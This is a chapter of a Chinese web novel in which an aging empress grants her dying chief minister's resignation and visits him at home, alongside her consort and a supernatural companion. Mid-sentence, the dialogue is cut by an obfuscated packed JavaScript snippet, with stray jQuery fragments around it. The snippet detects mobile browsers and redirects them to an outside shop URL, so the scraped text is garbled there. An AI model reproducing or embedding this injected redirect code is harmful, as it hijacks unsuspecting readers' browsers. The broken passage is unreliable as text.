179. 辞官(下)

作品:《金华风月

    清晏也挡不住李明珠的奏疏。皇帝收了来,一本一本看过了,按方略与将来施行顺序排布好了,只存在书架多宝阁上,又另命人誊抄了副本用以查阅。


    这好几年下来,倒攒了三个大格子,以至于皇帝想寻个藤箱之流来封存。


    “这些折子誊抄过了,寻个藤箱来存着吧,架上放抄本就是。”


    “是。”


    说话的已是如期带的小宫娥了,这两年贝紫去世,长宁退下去养着,便只有如期接手宫中各项琐事,御前伺候的自然也只能换了徒儿来。


    这小妮子是个沉闷的,也不知道如期怎么最喜欢她。


    “藤箱要熏过的,丢些樟脑防虫。”


    “是,奴记着。”


    皇帝交代了几句,又坐回案前翻折子。她这两日躲了点懒,朝中奏疏便又堆上来了。


    她忍不住叹了口气,又拿起一封新的。


    自清晏调回京,她与李明珠二人便在筹备清晏接任之事,先令清晏往中书省习文书,后又令她往户部、吏部、刑部见习了庶务,今年初才又调回了中书省,却已坐到四品常侍的高位上了,再过几年,大约也能独当一面。


    想想她当年受李明珠保举入京,也才不过四岁,如今已能接任李明珠了。


    是太快了些。


    却不晓得什么时候他才肯听话辞官休养。


    皇帝拿起笔蘸了点朱墨,往手里折子点下一笔赤痕。


    “陛下,陛下!”


    “慌什么呢,慢些说。”


    “不是,是,是李仆射……”


    那本折子被皇帝一把拍在桌案上。


    “李仆射在衙署呕血了!”


    皇帝猛然起身,抬脚就往外走:“摆驾尚书省。”


    李明珠给人七手八脚抬去榻上时候手里还捏了一本折子。


    是他自己的辞官折子。


    皇帝忽而暗暗松了一口气,他终于定下辞官了。虽如今已晚了些,到底他已下决心了。


    “陛下,李仆射这次端看命数。”周院判轻声道,“药食进补已到头了。”


    是无力转圜了。


    皇帝没什么反应,只轻声应了一声道:“晓得了,你照常开方子吧,你们寻一顶软轿来,挪……”


    挪去哪呢。


    皇帝望向墙角,墙角只有些许斑点,什么也没有。


    “陛下……”


    她指尖教人碰了一下。


    “端仪,端仪你醒了?你……”


    “回府吧……”李明珠缓缓从喉间呼出几个字,“回府吧……”


    皇帝拗不过,只好道:“那就挪回府上去。”


    她抽出李明珠手里那本折子,当场便从衙署桌案上拿了笔,龙飞凤舞画了个“准”字:“朕准了,回家休养吧,端仪,补官之事我会另下旨。”


    李明珠没再多说,微微点头任由宫人抬了出去。


    他恐怕是走不了路了。


    皇帝看着软轿缓缓走出皇城门,一时挪不动步子。


    “你想跟上去,回去换身衣服我们出去就是。”妖精低声道。


    谁知道两人还没走到宫墙下,迎面便碰见阿斯兰在宫里散步。


    “你要出宫。”阿斯兰毫不犹豫,当即便戳穿了皇帝,“现在还是白天,你要去干什么。”


    皇帝面不改色:“去街上走走。”


    “……”阿斯兰盯着她瞧了片刻终于开口道:“我也去,你等我一下。”


    等他便是等他拿来一顶帷帽。


    皇帝瞧着那顶帷帽不由好笑:“你怎么还爱上戴这个了。”


    原先是为遮掩她二人相貌差才戴这玩意儿出门,如今他出门倒非戴不可了。


    “现在街上男人都会戴了。”阿斯兰轻声道,“我也不想被人说老夫少妻。”


    皇帝便笑:“街上男人戴是因为近世风行男子守灶,他们便藉此抬高身价,不抛头露面以免显得没格调,你原本也不爱戴这个呀。再说你早就坐到这男人顶峰了,也不须这劳什子。”


    “会被人说老夫少妻。”阿斯兰坚持,“我不想听。”


    那本不是他的错。皇帝看他将帽子靠在怀里才上车,轻轻拉了他手臂来道:“原是我不老罢了。”


    她缓缓倚靠在阿斯兰肩头,轻声道:“这样总归你不至于落得孤女鳏夫,也是好的。”


    “我只怕没有多少时候了。”阿斯兰挪了皇帝靠来怀里,“你这些年总是不太高兴,对年轻男人也没有兴趣……我想多和你在一起。”


    皇帝从燕王府被定安侯公子刺激了一回,便又不再选秀了。虽说朝臣多有怨言,到底皇帝已着手挑选远支宗女过继,她们便也不好多说什么。


    她年事已高,虽癸水还通畅,不少人已弃了亲生帝女一说。


    “嗯,初时有些新鲜感,多了也觉无趣。”皇帝听着马车缓缓驶出宫门,换了个姿势窝在阿斯兰怀里,“要论起长久来,还是你好些。”


    阿斯兰身子一僵。


    “……嗯,我陪着你。”他轻轻拍了拍皇帝手臂,“我知道你今天是要出宫去看……看那个男人。”


    不是。


    皇帝猛然直起身子:“你怎么知道?”


    “直觉。你今天看起来像是要做坏事。寻常出宫你不是这样。而且我听说他病重了。”


    枕边人果真要防备。皇帝摸了摸鼻子不由腹诽,竟然都给他看穿了。


    事已至此,皇帝也不再隐瞒他,轻声道:“端仪辞官了,我批了折子,去瞧瞧他。”


    “……我在外面等你吧。”阿斯兰道,“你……你会经常来么……”


    他扶了皇帝下车,不等皇帝答话又微微转过脸去:“算了,你不用和我说,以后再来也不用和我说。”


    她必定会再来,甚至会常来。


    李明珠不再是宰相了,天子拜访旧臣府邸并非奇事,虽说有卑不动尊的规矩,可她本就憎恨陈规。


    可那又有什么办法呢。阿斯兰径自拿了帷帽,与法兰切斯卡去寻马车行泊车,不由往府内望了一眼。


    不知她会说些什么,她惯来会说好话。


    可皇帝什么也没说。


    内室里头李明珠已挪上榻了,见着她来,勉强掀起被子想行礼,给她拦住了,又挪回床上。


    “卑不动尊,陛下不该到此。”


    皇帝扶了他靠在榻上,给他盖上被子道:“我要进来,你府里这些人多是宫里拨出来的,也没人敢拦着我。”


    “是啊……”李明珠无奈笑道,“臣科举前夕便很怕,教李主君打晕了塞进宫里,或是陛下将臣黜落,这几年又怕哪天陛下令宫人将臣送进宫里去。”


    皇帝也柔声笑道:“现今不是辞官了么,便不必再怕了。仕途都结束了,端仪。”


    她随手招了个内侍来:“这几日李仆射身体如何?”


    “是,陛下……李仆射这几日不好,瞧着精神头也差,面色也不好,还不许我们往宫里头说。可见着今日就……”


    这几年他身子是越来越不好了,才着急着又是写方略又是培养清晏。


    总是怕后继无人罢了。


    皇帝面上却没什么波澜,只摆摆手道:“晓得了,你去吧。”


    “哎。”


    “怎么不许人说呢……”皇帝瞋了李明珠一眼,“我还能吃了你不成?”


    李明珠垂下眼帘,只看着被面道:“臣仍未下定决心辞官……”


    可这被面也没什么好看,不过一块素色棉布,还有些洗掉了色。


    皇帝一听便明了了:“那今日又待如何呢?”


    李明珠轻声道:“……臣午后眼前发黑,想着大约是时日无多了……至少不能倒在衙署,那么多人瞧着呢。”


    “这种时候倒要体面了。”皇帝好笑,“可今日便恰恰好倒在衙署。”


    天不遂人愿。倒在衙署,顷刻间便惊了圣听。


    李明珠却只是看着皇帝微笑,含混过去道:“学生们都瞧着,却是令他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177774|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慌神了。”


    “好吧,好吧,就当是这样。”皇帝也不多追究,“越是到了这个年纪,越怕失了体面。”


    她随手拿起床上一本书来,这书当是她来之前李明珠仍在看的。


    “《搜神记》?”皇帝瞪大了眼睛,“你竟也看志怪?”


    李明珠微微赧然笑道:“辞官了,不理世事,便也学着人看些消遣东西,久居病榻也做不了那许多风雅之事。”


    “这有什么,栖梧宫里也不少世情话本子,改日我送些好的与你消遣时间,只不知你爱看什么样的?”


    “臣也不知……”李明珠垂下脸,“臣没看过这些,也不会听戏赏曲……”


    仿佛这许多年便是读圣贤书与体察世情,来来回回都是公事,未曾消遣过。


    但皇帝是很有些雅趣的,他知道。


    从前未入仕时候也总是她带着人满京城里寻乐子,不过那时尚不知她便是当今天子罢了。


    “这有何难?人要学着找乐子是极快的,难的却是一直醉心公事。”皇帝笑道,“待你身子好些,我便请了戏班来给你唱就是,想听什么都有……其实就这几日也行,京里好戏班子多着,叫来你府里给你唱一台。”


    李明珠却难得露了些脾气来:“多少吵闹……还是不要了。”


    “好,好,都依你……这些年我可都依你了……什么都依着你,才走到今日地步。”


    她是恨的。李明珠忽然反应过来,只是这遗恨没个头,便也不发作出来。


    “还有时日。”他心下转了几个念头忽道,“还有些时日,陛下,也不算太晚。”


    “李仆射。”


    李明珠便向皇帝笑道:“是周院判来了。”


    “好,好,我先走,不偷瞧你诊脉。”皇帝轻轻摇了摇李明珠袖口,“你要好好养着。”


    皇帝才出了府,面色便倏然沉下来。


    “病很重?”妖精见她这样子不由道,“周素问负责的,应该没什么大事吧?”


    “想来端仪时日无多了。”皇帝摆摆手,丢开了妖精来扶的手,“连糊涂话都说出来了,还能有几日?”


    但凡他还能站起来上朝,都绝不会说什么“不算太晚”。


    阿斯兰只是听着,没说话。


    “人都是要死的。”妖精看着皇帝眼睛,“你今年几岁,和你年纪差不多的人都到了该死的时候了。许留仙前两年死,你也不是这么难过。”


    皇帝瞥了妖精一眼,没与他发作,只是道:“我只是还没得到过。”


    人总是尤其介意求而不得之物,这是人的贪欲与占有欲。


    “行了……他死了你还得活好久……”妖精往前走了几步,忽而停下来,叫住了旁边挑货担的外族人,“哎,我给你展示一个小秘密。”


    皇帝兴致缺缺:“干什么。”


    妖精便笑,从衣袋里头掏了些散碎银两来,与那小贩买了一把短刀。


    “这把刀是银的,做工却不算精良。”阿斯兰轻声道。


    “这是用来辟邪的,贵人。”小贩高声笑道,“看您也是漠北人,应当知道这俗习,女人有妆刀,男人佩三事儿,就是要用银的,辟邪!”


    “我知道。”阿斯兰淡淡应下一声,却让小贩走了。


    只有法兰切斯卡拆了这刀来,拿着开刃一侧在掌心里比划:“你看着啊……”


    皇帝不知道他要干什么。


    妖精面不改色,拿着刀刃便是一刀割开手掌,瞧得阿斯兰也愣了一下。


    但与平素不同,这一道伤并未立即愈合。


    “银刀划伤我是不能马上愈合的。”妖精笑道,“你可知道怎么治我了。”


    “如果要愈合怎么办?”


    “还是可以愈合的,只是慢点。”妖精笑,将银短刀收好了挂去皇帝颈间,“如果要我像平时那样愈合的话呢,只有求主子给我赏点天寿了。”


    皇帝瞟他一眼:“怎么赏。”


    “分我一滴血。”